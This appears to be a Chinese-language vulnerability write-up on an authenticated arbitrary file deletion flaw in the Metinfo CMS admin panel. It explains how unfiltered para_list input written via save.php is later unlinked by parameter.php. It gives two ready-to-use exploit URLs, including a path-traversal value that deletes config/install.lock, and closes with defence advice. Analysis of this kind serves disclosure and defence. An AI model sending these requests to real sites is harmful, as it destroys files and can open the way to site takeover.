某info最新版后台任意文件删除
字数 1206 2025-08-26 22:11:22
Metinfo后台任意文件删除漏洞分析与利用
漏洞概述
Metinfo企业建站CMS存在一个后台任意文件删除漏洞,攻击者可以通过构造特定请求,利用系统对数据库met_plist表的操作,实现任意文件删除。该漏洞涉及两个关键文件:admin/content/product/save.php和admin/column/parameter/parameter.php。
漏洞原理
-
文件删除机制:
admin/column/parameter/parameter.php中的file_unlink(list[info])操作会从met_plist表中读取list[info]值并删除对应文件。 -
数据写入点:
admin/content/product/save.php可以对met_plist表进行插入操作,且para_list参数可从URL传入且无过滤。 -
攻击链:
- 通过
save.php向met_plist表写入恶意数据 - 通过
parameter.php触发文件删除操作
- 通过
漏洞利用步骤
第一步:向met_plist表写入恶意数据
构造如下请求:
http://www.example.com/admin/content/product/save.php?action=add&id=46¶_list[][type]=7¶_list[][id]=444¶444=../config/install.lock
参数说明:
action=add:执行添加操作id=46:产品ID(可能需要根据实际情况调整)para_list[][type]=7:参数类型para_list[][id]=444:自定义参数ID(用于后续删除操作)para444=../config/install.lock:要删除的文件路径(此处示例为相对路径)
第二步:触发文件删除操作
构造如下请求:
http://www.example.com/admin/column/parameter/parameter.php?action=del&type=5&id=444
参数说明:
action=del:执行删除操作type=5:参数类型id=444:与第一步设置的参数ID对应
关键点说明
-
数据库操作:
met_plist表存储了参数信息list[info]字段存储了文件路径paraid字段用于查询特定记录
-
参数构造:
$val[id]和$para变量由$para_list数组生成$para_list可直接从URL传入且无过滤
-
路径遍历:
- 通过
../可实现目录遍历,删除任意位置文件 - 示例中删除的是
install.lock文件,这是常见的攻击目标
- 通过
防御建议
- 对用户输入进行严格过滤,特别是
para_list参数 - 限制文件删除操作的目录范围
- 对数据库操作进行参数化查询
- 实施权限最小化原则,限制后台功能权限
- 及时更新Metinfo到最新版本
漏洞影响
成功利用此漏洞可导致:
- 删除系统关键文件(如install.lock)
- 破坏网站正常运行
- 可能结合其他漏洞提升攻击效果
总结
该漏洞利用Metinfo CMS对用户输入过滤不严和数据库操作不当的问题,通过构造特定请求实现任意文件删除。攻击者需要具备后台访问权限,但一旦获得权限,可对系统造成严重破坏。